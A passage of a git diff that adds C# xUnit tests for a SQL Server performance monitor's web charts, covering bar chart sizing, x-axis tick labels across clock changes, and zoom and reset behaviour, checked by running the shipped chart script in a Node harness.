+    public void TheBarChart_IsDrawnAtTheBoxWidth_WithEqualScalesOnBothAxes(int width)
+    {
+        var r = Run();
+        var g = r.GetProperty("bar").GetProperty(width.ToString());
+        Assert.Equal(width, g.GetProperty("vbW").GetDouble());
+        Assert.Equal(26d + 5 * 34, g.GetProperty("vbH").GetDouble());
+        Assert.Equal(g.GetProperty("vbW").GetDouble(), g.GetProperty("cssW").GetDouble());
+        Assert.Equal(g.GetProperty("vbH").GetDouble(), g.GetProperty("cssH").GetDouble());
+        Assert.Equal(g.GetProperty("xScale").GetDouble(), g.GetProperty("yScale").GetDouble());
+        Assert.Equal(1d, g.GetProperty("xScale").GetDouble());
+        Assert.Equal(JsonValueKind.Null, g.GetProperty("aspect").ValueKind);
+        Assert.Equal(0, g.GetProperty("transformed").GetInt32());
+        Assert.Equal(5, g.GetProperty("rows").GetInt32());
+        Assert.Equal(1, g.GetProperty("thresholds").GetInt32());
+        // a different bar count changes the height and not the scale
+        var few = r.GetProperty("barFew");
+        Assert.Equal(26d + 2 * 34, few.GetProperty("vbH").GetDouble());
+        Assert.Equal(1d, few.GetProperty("xScale").GetDouble());
+    }
+
+    /// <summary>At 260, 360, 600 and 2,000 px no label runs off the left edge or into its bar track, the value of every bar
+    /// ends inside the box, and a long label is cut to what its gutter holds (most characters on the widest panel). The
+    /// harness measures a glyph at 8.76 px (0.73 em), 15 % or more over the 7.6 px the script's own estimate is, so a layout
+    /// that is too tight for a wide font fails here. RED proof: without the width-driven gutters a 360 px panel keeps the 220
+    /// px label gutter and 110 px value gutter of the old 1000-wide drawing, and the values run past the right edge.</summary>
+    [Theory]
+    [InlineData(200)]
+    [InlineData(230)]
+    [InlineData(260)]
+    [InlineData(360)]
+    [InlineData(600)]
+    [InlineData(2000)]
+    public void TheBarChart_LabelsAndValues_StayInsideTheBox_AtAnyWidth(int width)
+    {
+        var g = Run().GetProperty("bar").GetProperty(width.ToString());
+        Assert.True(g.GetProperty("labelLeftMin").GetDouble() >= 0, "a label starts left of the box at " + width + " px");
+        Assert.True(g.GetProperty("labelRight").GetDouble() < g.GetProperty("trackLeft").GetDouble(), "a label reaches its track at " + width + " px");
+        Assert.True(g.GetProperty("valueRightMax").GetDouble() <= width, "a value runs past the right edge at " + width + " px");
+        Assert.True(g.GetProperty("trackRight").GetDouble() <= width - 40, "the bar track is too wide for its value at " + width + " px");
+        Assert.EndsWith("\u2026", g.GetProperty("firstLabel").GetString(), StringComparison.Ordinal);
+        // #5586: the label column gives way before the box overflows, and the track keeps its 40 px minimum
+        Assert.True(g.GetProperty("trackW").GetDouble() >= 40, "the bar track is under 40 px at " + width + " px");
+    }
+
+    /// <summary>The value texts are the last layer of a ranked bar: every one comes after every threshold line, and the
+    /// threshold lines come after the bar fills, so the dashed line shows where a long bar crosses it and stops at a number.
+    /// RED proof: with each value text appended right after its bar (the old order), the first value text comes before the
+    /// threshold line at every width.</summary>
+    [Theory]
+    [InlineData(260)]
+    [InlineData(600)]
+    [InlineData(2000)]
+    public void TheBarChart_DrawsEveryValueTextAfterTheThresholdLines(int width)
+    {
+        var l = Run().GetProperty("bar").GetProperty(width.ToString()).GetProperty("layers");
+        Assert.True(l.GetProperty("firstValue").GetDouble() > l.GetProperty("lastLine").GetDouble(), "a value text is drawn before a threshold line at " + width + " px");
+        Assert.True(l.GetProperty("firstLine").GetDouble() > l.GetProperty("lastFill").GetDouble(), "a threshold line is drawn under a bar fill at " + width + " px");
+    }
+
+    /// <summary>A bar panel whose longest label has any length from 1 to 30 draws it whole at 2,000 px, with no ellipsis: the
+    /// gutter is sized for that label. RED proof: with the gutter rounded to the nearest pixel instead of up, the longest
+    /// label is one character short (and cut) at lengths 3, 4, 5, 9, 10, 14, 15, 16, 20, 21, 25, 26, 27 and 30.</summary>
+    [Fact]
+    public void TheBarChart_ShowsItsLongestLabelWhole_AtEveryLengthFrom1To30()
+    {
+        var lengths = Run().GetProperty("barLabelLengths").EnumerateArray().ToArray();
+        Assert.Equal(30, lengths.Length);
+        foreach (var l in lengths)
+        {
+            var len = l.GetProperty("len").GetInt32();
+            Assert.False(l.GetProperty("cut").GetBoolean(), "a label of " + len + " characters was cut");
+            Assert.Equal(len, l.GetProperty("shown").GetInt32());
+        }
+    }
+
+    [Fact]
+    public void AWideBarPanel_ShowsMoreOfALongLabel_ThanANarrowOne()
+    {
+        var bar = Run().GetProperty("bar");
+        int Chars(int w) => bar.GetProperty(w.ToString()).GetProperty("longestLabel").GetInt32();
+        Assert.True(Chars(360) < Chars(600), "360 px showed as many label characters as 600 px");
+        Assert.True(Chars(600) < Chars(2000), "600 px showed as many label characters as 2,000 px");
+        Assert.Equal(30, Chars(2000));
+    }
+
+    /// <summary>A resize redraws the bar chart once, on the next frame.</summary>
+    [Fact]
+    public void ABarChartResize_RedrawsOnce()
+    {
+        var z = Run().GetProperty("barResize");
+        Assert.Equal(1, z.GetProperty("queued").GetInt32());
+        Assert.Equal(1, z.GetProperty("redraws").GetInt32());
+        Assert.Equal(2000, z.GetProperty("vbW").GetDouble());
+    }
+
+    /// <summary>A resize from 600 to 2,000 px redraws once, on the next frame; a repeat within a pixel and a height-only
+    /// change draw nothing; the zoom window, the hidden series, the annotations and the reset chip are unchanged; and
+    /// nothing is fetched.</summary>
+    [Fact]
+    public void AResize_RedrawsOnce_AndKeepsTheChartsState()
+    {
+        var r = Run();
+        Assert.Equal(20d, r.GetProperty("zoomHeldBefore")[0].GetDouble(), 0.1);
+        var z = r.GetProperty("resize");
+        Assert.Equal(1, z.GetProperty("queuedAfterResize").GetInt32());
+        Assert.Equal(1, z.GetProperty("queuedAfterNoise").GetInt32());
+        Assert.True(z.GetProperty("drawnOnlyAtFlush").GetBoolean());
+        Assert.Equal(1, z.GetProperty("redrawsOnResize").GetInt32());
+        Assert.Equal(0, z.GetProperty("redrawsOnSameSize").GetInt32());
+        Assert.Equal(2000, z.GetProperty("geometry").GetProperty("vbW").GetDouble());
+
+        Assert.Equal(1, z.GetProperty("polylines")[0].GetInt32()); // one of the two series is hidden
+        Assert.Equal(1, z.GetProperty("polylines")[1].GetInt32());
+        Assert.Equal(1, z.GetProperty("annotations")[1].GetInt32());
+        Assert.Equal(z.GetProperty("annotations")[0].GetInt32(), z.GetProperty("annotations")[1].GetInt32());
+        Assert.Equal(1, z.GetProperty("chip")[1].GetInt32());
+        Assert.True(z.GetProperty("zoomKept").GetBoolean());
+        // the zoomed domain is the same: its first and last tick label are unchanged
+        Assert.Equal(z.GetProperty("firstLabel")[0].GetString(), z.GetProperty("firstLabel")[1].GetString());
+        Assert.Equal(z.GetProperty("lastLabel")[0].GetString(), z.GetProperty("lastLabel")[1].GetString());
+        Assert.Equal(0, z.GetProperty("fetchCalls").GetInt32());
+    }
+
+    /// <summary>The observer is disconnected once the chart has left the page, even with a redraw still queued, and
+    /// every chart a refresh replaces lets go of its own.</summary>
+    [Fact]
+    public void TheObserver_IsDisconnected_WhenTheChartLeavesThePage()
+    {
+        var r = Run();
+        var gone = r.GetProperty("removed");
+        Assert.Equal(1, gone.GetProperty("disconnects").GetInt32());
+        Assert.Equal(0, gone.GetProperty("redrawsAfterRemoval").GetInt32());
+        Assert.Equal(1, gone.GetProperty("disconnectsAfterFinalReport").GetInt32());
+        Assert.All(r.GetProperty("leak").EnumerateArray(), n => Assert.Equal(1, n.GetInt32()));
+    }
+
+    /// <summary>The same pointer position (as a share of the plot) names the same point at 600 px and, after the resize,
+    /// at 2,000 px; the zoom drag brushes the same span; and the 8 px threshold is 8 CSS pixels at the new width.</summary>
+    [Fact]
+    public void HoverAndTheZoomDrag_MapAPointerToTheSameDataPoint_AfterAResize()
+    {
+        var r = Run();
+        var hover = r.GetProperty("hover");
+        Assert.Equal(hover[0].GetString(), hover[1].GetString());
+        Assert.NotEqual(hover[1].GetString(), hover[2].GetString());
+
+        var drag = r.GetProperty("dragAfterResize");
+        Assert.Equal(20d, drag[0].GetDouble(), 0.1);
+        Assert.Equal(40d, drag[1].GetDouble(), 0.1);
+
+        Assert.False(r.GetProperty("sevenPx").GetBoolean());
+        Assert.True(r.GetProperty("ninePx").GetBoolean());
+    }
+
+    /// <summary>The x tick labels never overlap at 360 and 600 px (a phone and a narrow panel), the first and last stay
+    /// inside the plot, and a wide panel gets more ticks. The harness measures a label with its own estimate, 17 % wider
+    /// than the 0.6 em a character the script plans with, so a script estimate that is too tight fails here.</summary>
+    [Theory]
+    [InlineData(360)]
+    [InlineData(600)]
+    [InlineData(2000)]
+    public void TheXTickLabels_DoNotOverlap_AtAnyWidth(int width)
+    {
+        var t = Run().GetProperty("ticks").GetProperty(width.ToString());
+        foreach (var gap in new[] { "shortGap", "datedGap", "overlayGap" })
+        {
+            Assert.True(t.GetProperty(gap).GetDouble() >= 8, gap + " at " + width + " px was " + t.GetProperty(gap).GetDouble());
+        }
+
+        Assert.True(t.GetProperty("datedFirst").GetDouble() >= 58);
+        Assert.True(t.GetProperty("datedLast").GetDouble() <= t.GetProperty("plotRight").GetDouble());
+    }
+
+    [Fact]
+    public void AWidePanel_GetsMoreXTicks_NotWiderOnes()
+    {
+        var t = Run().GetProperty("ticks");
+        int Count(int w) => t.GetProperty(w.ToString()).GetProperty("shortCount").GetInt32();
+        Assert.True(Count(360) < Count(600), "360 px carried as many ticks as 600 px");
+        Assert.True(Count(600) < Count(2000), "600 px carried as many ticks as 2,000 px");
+    }
+
+    [Theory]
+    [InlineData(360)]
+    [InlineData(600)]
+    public void TheScatterXLabels_DoNotOverlap_AtANarrowWidth(int width)
+    {
+        var s = Run().GetProperty("scatterTicks").GetProperty(width.ToString());
+        Assert.True(s.GetProperty("count").GetInt32() >= 2);
+        Assert.True(s.GetProperty("gap").GetDouble() >= 8);
+    }
+
+    /// <summary>No two x labels read the same at any width and window. A brush-zoomed chart's window can be a few minutes
+    /// or seconds wide, and the axis shows HH:mm: ticks are whole minutes capped at the window's minutes, and a window too
+    /// short for a minute per tick shows seconds. RED proof: with the pre-fix tick count (the plot width alone) the
+    /// 6-minute window at 2,000 px gets 11 labels over 7 distinct minutes.</summary>
+    [Fact]
+    public void NoTwoXLabelsReadTheSame_AtAnyWidthAndWindow()
+    {
+        var d = Run().GetProperty("distinctLabels");
+        foreach (var name in new[] { "sixMinutes2000", "sixMinutes1000", "twoMinutes2000", "ninetySeconds600", "ninetySeconds2000", "fortyFiveSeconds2000", "thirtyDays" })
+        {
+            var labels = d.GetProperty(name).EnumerateArray().Select(l => l.GetString()!).ToArray();
+            Assert.True(labels.Length >= 2, name + " drew fewer than two labels");
+            Assert.True(labels.Distinct().Count() == labels.Length, name + " repeats a label: " + string.Join(" | ", labels));
+        }
+
+        // a step of a minute or more: whole-minute ticks, one per minute at most, with no seconds
+        Assert.Equal(7, d.GetProperty("sixMinutes2000").GetArrayLength());
+        Assert.All(d.GetProperty("sixMinutes2000").EnumerateArray(), l => Assert.Equal(1, l.GetString()!.Count(c => c == ':')));
+        // too short for a minute per tick: seconds
+        Assert.All(d.GetProperty("ninetySeconds600").EnumerateArray(), l => Assert.Equal(2, l.GetString()!.Count(c => c == ':')));
+        // a long window is unchanged: evenly spaced ticks, ten intervals at this width
+        Assert.Equal(
+            d.GetProperty("thirtyDaysEvenly").EnumerateArray().Select(l => l.GetString()),
+            d.GetProperty("thirtyDays").EnumerateArray().Select(l => l.GetString()));
+    }
+
+    /// <summary>A window across a clock change (the repeated hour in the autumn, the skipped one in the spring) gives every
+    /// x label its zone, so no two read the same ("01:00 AM EDT", "01:00 AM EST"), and the longer labels still keep their gap
+    /// and stay inside the plot. A window with one offset has no zone text. The harness runs these in America/New_York. RED
+    /// proof: without the zone name the 4-hour window over 2026-11-01 at 600 px reads "01:00 AM" twice.</summary>
+    [Fact]
+    public void AWindowAcrossAClockChange_LabelsEveryTickWithItsZone_AndNoTwoLabelsReadTheSame()
+    {
+        var d = Run().GetProperty("dst");
+        Assert.Contains("EDT", d.GetProperty("zone").GetString(), StringComparison.Ordinal);
+        string[] Labels(string name) => d.GetProperty(name).EnumerateArray().Select(l => l.GetString()!).ToArray();
+        foreach (var name in new[] { "fallBack600", "fallBackFrom0100At600", "fallBack2000", "springForward600", "springForward2000" })
+        {
+            var labels = Labels(name);
+            Assert.True(labels.Length >= 3, name + " drew fewer than three labels");
+            Assert.True(labels.Distinct().Count() == labels.Length, name + " repeats a label: " + string.Join(" | ", labels));
+            Assert.All(labels, l => Assert.True(l.EndsWith("EDT", StringComparison.Ordinal) || l.EndsWith("EST", StringComparison.Ordinal), name + ": " + l));
+        }
+
+        // the repeated hour: the autumn window shows 01:00 under both zones
+        Assert.Contains("01:36 AM EDT", Labels("fallBack2000"));
+        Assert.Contains("01:00 AM EST", Labels("fallBack2000"));
+
+        // one offset: the label is unchanged, with no zone text
+        foreach (var name in new[] { "sameOffset600", "sameOffset2000" })
+        {
+            Assert.All(Labels(name), l => Assert.Matches(@"^\d\d:\d\d [AP]M$", l));
+        }
+
+        // the width estimate counts the zone suffix: the same window and width carry fewer, wider-spaced labels with the zone
+        Assert.True(Labels("fallBack600").Length < Labels("sameOffset600").Length, "the zone suffix did not thin the labels at 600 px");
+
+        foreach (var width in new[] { 360, 600, 2000 })
+        {
+            var fit = d.GetProperty("fit" + width);
+            Assert.True(fit.GetProperty("gap").GetDouble() >= 8, "zone labels overlap at " + width + " px");
+            Assert.True(fit.GetProperty("first").GetDouble() >= 58);
+            Assert.True(fit.GetProperty("last").GetDouble() <= fit.GetProperty("plotRight").GetDouble());
+        }
+    }
+
+    /// <summary>In a 260 px box (a phone) the line and scatter charts are drawn at 260 px, not wider, so the host clips nothing:
+    /// no labels overlap and the last ends inside the box. RED proof: with the old 300 px floor the drawn width is 300 and
+    /// the last x label ends at 284, past the 260 px box.</summary>
+    [Theory]
+    [InlineData("line")]
+    [InlineData("scatter")]
+    public void ANarrowChart_IsDrawnAtTheBoxWidth_AndKeepsItsLabelsInside(string kind)
+    {
+        var g = Run().GetProperty("narrow").GetProperty(kind);
+        Assert.Equal(260, g.GetProperty("vbW").GetDouble());
+        Assert.Equal(260, g.GetProperty("cssW").GetDouble());
+        Assert.Equal(1d, g.GetProperty("xScale").GetDouble());
+        Assert.True(g.GetProperty("count").GetInt32() >= 2);
+        Assert.True(g.GetProperty("gap").GetDouble() >= 8, "labels overlap at 260 px");
+        Assert.True(g.GetProperty("first").GetDouble() >= 58);
+        Assert.True(g.GetProperty("last").GetDouble() <= 260, "the last x label runs past the box");
+    }
+
+    /// <summary>The floor is 200 px: a box of 200 px is drawn at 200, and a narrower one at 200 (the host clips the rest).</summary>
+    [Fact]
+    public void TheChartFloor_Is200Px()
+    {
+        var n = Run().GetProperty("narrow");
+        Assert.Equal(200, n.GetProperty("floorLine").GetProperty("vbW").GetDouble());
+        Assert.Equal(200, n.GetProperty("belowFloorLine").GetProperty("vbW").GetDouble());
+    }
+
+    /// <summary>The tooltip is placed inside the box the reader sees. Below the 200 px floor the SVG is wider than its clipped
+    /// host; RED proof: clamping to the SVG's width puts the tooltip 20 px further right (76 px, not 56) in a 180 px box.</summary>
+    [Fact]
+    public void TheTooltip_StaysInsideTheVisibleBox_WhenTheSvgIsWiderThanItsHost()
+    {
+        var tip = Run().GetProperty("tooltip");
+        Assert.True(
+            tip.GetProperty("left").GetDouble() + tip.GetProperty("tooltipWidth").GetDouble() <= tip.GetProperty("visibleWidth").GetDouble(),
+            "the tooltip reaches past the visible box");
+    }
+
+    /// <summary>A narrow scatter keeps every x gridline and thins only the labels, and the first and the last tick are
+    /// always labelled (a stride tick next to the last gives way to it).</summary>
+    [Fact]
+    public void TheScatter_KeepsEveryGridline_AndLabelsTheFirstAndLastTick()
+    {
+        var g = Run().GetProperty("scatterGrid");
+        var narrow = g.GetProperty("360");
+        var wide = g.GetProperty("2000");
+        Assert.Equal(wide.GetProperty("gridlines").GetInt32(), narrow.GetProperty("gridlines").GetInt32());
+        Assert.True(narrow.GetProperty("labels").GetArrayLength() < wide.GetProperty("labels").GetArrayLength(), "the narrow plot did not thin its labels");
+        Assert.Equal(wide.GetProperty("labels")[0].GetString(), narrow.GetProperty("labels")[0].GetString());
+        var wl = wide.GetProperty("labels");
+        var nl = narrow.GetProperty("labels");
+        Assert.Equal(wl[wl.GetArrayLength() - 1].GetString(), nl[nl.GetArrayLength() - 1].GetString());
+
+        var six = g.GetProperty("six");
+        Assert.Equal(6, six.GetProperty("gridlines").GetInt32());
+        Assert.Equal(new[] { "0 ms", "4 ms", "10 ms" }, six.GetProperty("labels").EnumerateArray().Select(l => l.GetString()).ToArray());
+    }
+
+    /// <summary>The scatter's first and last x labels are anchored inward, so the last one never runs past the plot's right
+    /// edge, and its x unit caption sits on the top row, not on the label row where it overprinted the last label. RED
+    /// proof: with the middle-anchored, clamped last label and the caption at the bottom right, the last label is a
+    /// "middle" anchor and the caption shares the label row.</summary>
+    [Theory]
+    [InlineData(600)]
+    [InlineData(2000)]
+    public void TheScatter_AnchorsItsEndLabelsInward_AndKeepsTheUnitCaptionOffTheLabelRow(int width)
+    {
+        var e = Run().GetProperty("scatterEdges").GetProperty(width.ToString());
+        Assert.Equal("start", e.GetProperty("firstAnchor").GetString());
+        Assert.Equal("end", e.GetProperty("lastAnchor").GetString());
+        Assert.True(e.GetProperty("lastX").GetDouble() <= e.GetProperty("plotRight").GetDouble());
+        Assert.NotEqual(e.GetProperty("labelRowY").GetDouble(), e.GetProperty("captionY").GetDouble());
+    }
+
+    /// <summary>A poll rebuilds every chart. A chart that was measured before (keyed by its menuKey, or the widthKey the
+    /// composed panels pass to the line, scatter and bar charts) is drawn at that width, so the observer's first report is
+    /// within a pixel and the build is the only one; a chart with no key is drawn at the default and redrawn once, as before.</summary>
+    [Fact]
+    public void AnAlreadyMeasuredChart_IsBuiltOncePerPoll()
+    {
+        var poll = Run().GetProperty("poll");
+        foreach (var name in new[] { "keyedLine", "widthKeyLine", "keyedScatter", "keyedBar" })
+        {
+            Assert.Equal(1, poll.GetProperty(name).GetProperty("builds").GetInt32());
+            Assert.Equal(1234, poll.GetProperty(name).GetProperty("vbW").GetDouble());
+        }
+
+        Assert.Equal(2, poll.GetProperty("unkeyedLine").GetProperty("builds").GetInt32());
+        Assert.Equal(2, poll.GetProperty("unkeyedBar").GetProperty("builds").GetInt32());
+    }
+
+    /// <summary>Every composed-panel call of the three renderers passes a width key (the panel's identity, which exists
+    /// for the editor preview too), so no composed chart is built twice per poll. The other callers reach the line chart
+    /// through <c>zoomableLineChart</c>, which always sets a menuKey. A source pin: the harness cannot run compose.js.</summary>
+    [Fact]
+    public void EveryRendererCallInCompose_PassesAWidthKey()
+    {
+        var compose = ReadRepoFileLf(Path.Combine("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "compose.js"));
+        foreach (var renderer in new[] { "renderLineChart", "renderScatterChart", "renderBarChart" })
+        {
+            var at = compose.IndexOf(renderer + "({", StringComparison.Ordinal);
+            Assert.True(at >= 0, renderer + " is no longer called from compose.js");
+            Assert.Single(System.Text.RegularExpressions.Regex.Matches(compose, renderer + @"\(\{"));
+            // the call and the rest of its switch case, up to the case's break
+            var window = compose.Substring(at, compose.IndexOf("break;", at, StringComparison.Ordinal) - at);
+            Assert.Contains("widthKey: widthId", window, StringComparison.Ordinal);
+        }
+
+        Assert.Contains("const widthId = composedPanelId(panelSpec, opts.scope, opts.panelSlot);", compose, StringComparison.Ordinal);
+        var charts = ReadRepoFileLf(Path.Combine("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "charts.js"));
+        Assert.Contains("menuKey: id + \"|\" + scope,", charts, StringComparison.Ordinal);
+    }
+
+    /// <summary>Source pins for what the harness cannot see: the stretching viewBox is gone from all three charts, the CSS
+    /// that would stretch the SVG no longer applies to them, and the print rule (a source pin, because a print layout is
+    /// not something Node can run) puts the plot SVG back in the flow at the page width.</summary>
+    [Fact]
+    public void TheStretchingViewBox_IsGone_AndTheCssDoesNotScaleThePlotSvg()
+    {
+        var charts = ReadRepoFileLf(Path.Combine("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "charts.js"));
+        Assert.DoesNotContain("preserveAspectRatio: \"none\"", charts, StringComparison.Ordinal);
+        Assert.DoesNotContain("preserveAspectRatio: \"xMinYMin meet\"", charts, StringComparison.Ordinal);
+        Assert.DoesNotContain("BAR_W", charts, StringComparison.Ordinal);
+        Assert.Contains("class: \"plot-svg\"", charts, StringComparison.Ordinal);
+
+        var css = ReadRepoFileLf(Path.Combine("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "css", "app.css"));
+        Assert.Contains(".chart svg.plot-svg { position: absolute;", css, StringComparison.Ordinal);
+        Assert.Contains(".chart .chart-plot { position: relative; width: 100%; overflow: hidden; }", css, StringComparison.Ordinal);
+        Assert.Contains("@media print {", css, StringComparison.Ordinal);
+        Assert.Contains(".chart svg.plot-svg { position: static; width: 100% !important; height: auto !important; }", css, StringComparison.Ordinal);
+        Assert.Contains(".chart .chart-plot { height: auto !important; overflow: visible; }", css, StringComparison.Ordinal);
+    }
+
+    /// <summary>A source pin (a Node run has no painting): a ranked bar's value text carries a halo in the panel (.card)
+    /// colour, painted under the glyphs, so the dashed threshold line drawn before the value texts stops at the number.
+    /// RED proof: without the halo declarations the rule below is gone.</summary>
+    [Fact]
+    public void TheBarValueText_HasAHaloInThePanelColour()
+    {
+        var css = ReadRepoFileLf(Path.Combine("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "css", "app.css"));
+        var rule = css.Split('\n').Single(l => l.StartsWith(".chart .bar-value {", StringComparison.Ordinal));
+        Assert.Contains("paint-order: stroke;", rule, StringComparison.Ordinal);
+        Assert.Contains("stroke: var(--card);", rule, StringComparison.Ordinal);
+        Assert.Contains("stroke-width: 3px;", rule, StringComparison.Ordinal);
+        Assert.Contains("stroke-linejoin: round;", rule, StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/WebChartZoomBehaviourTests.cs b/Darling/Darling.Tests/WebChartZoomBehaviourTests.cs
new file mode 100644
index 0000000000..57149c7bc4
--- /dev/null
+++ b/Darling/Darling.Tests/WebChartZoomBehaviourTests.cs
@@ -0,0 +1,226 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.IO;
+using System.Linq;
+using System.Text.Json;
+using System.Text.RegularExpressions;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Dragging across a server-tab or FinOps line chart narrows its x-axis to the brushed span over the points it already
+/// loaded, a reset chip puts the full axis back, and the zoom survives the 60 s poll's rebuild. These run the shipped
+/// <c>charts.js</c> under Node (<c>web-chart-zoom-harness.mjs</c>): a 101-point series, a pointer drag across the plot,
+/// then a rebuild under the same and under a different key. Node is skipped when it is not installed; the source pins
+/// at the end hold without it.
+/// </summary>
+public sealed class WebChartZoomBehaviourTests
+{
+    private static JsonElement Run()
+    {
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "web-chart-zoom-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
+
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped chart script cannot be run.");
+            return default;
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(20000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the chart zoom harness did not finish in 20 s");
+            }
+
+            Assert.True(proc.ExitCode == 0, "the chart zoom harness failed: " + error.Result);
+            using var doc = JsonDocument.Parse(output.Split('\n')[0]);
+            return doc.RootElement.Clone();
+        }
+    }
+
+    private static string[] Labels(JsonElement shown) =>
+        shown.GetProperty("labels").EnumerateArray().Select(e => e.GetString()!).ToArray();
+
+    [Fact]
+    public void ABrush_NarrowsTheDomainToTheBrushedSpan_OverTheLoadedPoints()
+    {
+        var r = Run();
+        Assert.False(r.GetProperty("before").GetProperty("chip").GetBoolean());
+        // The drag ran from minute 20 to minute 40; the held span is that, to within a pixel of the 8 px floor.
+        Assert.InRange(r.GetProperty("zoom").GetProperty("from").GetDouble(), 19.9, 20.1);
+        Assert.InRange(r.GetProperty("zoom").GetProperty("to").GetDouble(), 39.9, 40.1);
+        // 21 points inside the span plus one neighbour each side, so the line reaches both axis edges.
+        Assert.Equal(23, r.GetProperty("appliedPoints").GetInt32());
+        Assert.InRange(r.GetProperty("appliedWindow")[0].GetDouble(), 19.9, 20.1);
+        Assert.InRange(r.GetProperty("appliedWindow")[1].GetDouble(), 39.9, 40.1);
+        var zoomed = r.GetProperty("zoomed");
+        Assert.True(zoomed.GetProperty("chip").GetBoolean());
+        Assert.NotEqual(Labels(r.GetProperty("before")), Labels(zoomed));
+    }
+
+    /// <summary>The same brush on a chart drawn at a measured width (1,600 px, off the 1,000 px default, #5586) holds the
+    /// same minutes.</summary>
+    [Fact]
+    public void ABrushOnAChartDrawnAtAMeasuredWidth_HoldsTheSameSpan()
+    {
+        var z = Run().GetProperty("measuredZoom");
+        Assert.InRange(z.GetProperty("from").GetDouble(), 19.9, 20.1);
+        Assert.InRange(z.GetProperty("to").GetDouble(), 39.9, 40.1);
+    }
+
+    [Fact]
+    public void Reset_RestoresTheFullDomain_AndClearsTheHeldZoom()
+    {
+        var r = Run();
+        Assert.True(r.GetProperty("preReset").GetProperty("chip").GetBoolean());
+        var post = r.GetProperty("postReset");
+        Assert.False(post.GetProperty("chip").GetBoolean());
+        Assert.Equal(Labels(r.GetProperty("before")), Labels(post));
+        Assert.False(r.GetProperty("postResetHeld").GetBoolean());
+    }
+
+    [Fact]
+    public void TheZoom_IsReappliedAfterARebuild_UnderTheSameKey_AndNotUnderAnother()
+    {
+        var r = Run();
+        var rebuilt = r.GetProperty("rebuilt");
+        Assert.True(rebuilt.GetProperty("chip").GetBoolean());
+        Assert.Equal(Labels(r.GetProperty("zoomed")), Labels(rebuilt));
+
+        foreach (var other in new[] { "otherServer", "otherChart", "otherRange" })
+        {
+            var shown = r.GetProperty(other);
+            Assert.False(shown.GetProperty("chip").GetBoolean(), other + " drew a zoom that belongs to another key");
+            Assert.Equal(Labels(r.GetProperty("before")), Labels(shown));
+        }
+    }
+
+    [Fact]
+    public void AShortDrag_IsAClick_AndHoldsNoZoom()
+    {
+        Assert.False(Run().GetProperty("clickHeld").GetBoolean());
+    }
+
+    [Fact]
+    public void AnEmptySpanBrush_StoresNothing_AndALaterPointInTheSpanDoesNotZoom()
+    {
+        var r = Run();
+        Assert.False(r.GetProperty("emptyHeld").GetBoolean());
+        Assert.False(r.GetProperty("emptyChip").GetBoolean());
+        Assert.False(r.GetProperty("emptyLater").GetProperty("chip").GetBoolean());
+        Assert.Equal(Labels(r.GetProperty("emptyLaterBaseline")), Labels(r.GetProperty("emptyLater")));
+    }
+
+    [Fact]
+    public void AHeldZoom_ThatNoLongerHoldsAPoint_IsDroppedAtDraw()
+    {
+        var r = Run();
+        Assert.False(r.GetProperty("agedOutHeld").GetBoolean());
+        Assert.False(r.GetProperty("agedOutChip").GetBoolean());
+    }
+
+    [Fact]
+    public void TheZoomedLine_KeepsOneNeighbourEachSide_AndThePlotClipsAtTheEdge()
+    {
+        var r = Run();
+        var minutes = r.GetProperty("edgeMinutes").EnumerateArray().Select(e => e.GetDouble()).ToArray();
+        Assert.Equal(20d, minutes.First());
+        Assert.Equal(41d, minutes.Last());
+        Assert.Equal(22, minutes.Length);
+        Assert.True(r.GetProperty("lineClipped").GetBoolean());
+        var clip = r.GetProperty("clipRect");
+        var xs = r.GetProperty("lineXs").EnumerateArray().Select(e => e.GetDouble()).ToArray();
+        Assert.True(xs.First() < clip.GetProperty("x").GetDouble());
+        Assert.True(xs.Last() > clip.GetProperty("x").GetDouble() + clip.GetProperty("w").GetDouble());
+    }
+
+    [Fact]
+    public void TheScope_IgnoresTheHashQuery()
+    {
+        Assert.True(Run().GetProperty("scopeQueryStripped").GetBoolean());
+    }
+
+    private static string Js(params string[] parts) =>
+        ReadRepoFile(new[] { "Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js" }.Concat(parts).ToArray())
+            .ReplaceLineEndings("\n");
+
+    /// <summary>Every <c>renderLineChart(</c> caller in the web script either wraps the zoom (<c>zoomableLineChart</c>, or
+    /// passes <c>onZoom</c> itself) or is named here with the reason it is exempt.</summary>
+    [Fact]
+    public void EveryLineChartCaller_PassesOnZoom_OrIsOnTheExemptList()
+    {
+        // File → why it draws a line chart without the client-side zoom.
+        var exempt = new System.Collections.Generic.Dictionary<string, string>
+        {
+            // Custom Views re-run the panel on the brushed window through their own onZoom.
+            ["compose.js"] = "passes onZoom",
+            // The wrapper itself.
+            ["charts.js"] = "zoomableLineChart supplies onZoom",
+        };
+        var root = PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js");
+        foreach (var file in Directory.EnumerateFiles(root, "*.js", SearchOption.AllDirectories))
+        {
+            var name = Path.GetFileName(file);
+            var text = File.ReadAllText(file).ReplaceLineEndings("\n");
+            var calls = Regex.Matches(text, @"(?<![\w.])renderLineChart\s*\(").Count;
+            if (name == "charts.js")
+            {
+                // The declaration, and the wrapper's own call.
+                calls -= 2;
+                Assert.True(calls >= 0, "charts.js lost the renderLineChart declaration or the wrapper's call.");
+            }
+            if (calls == 0)
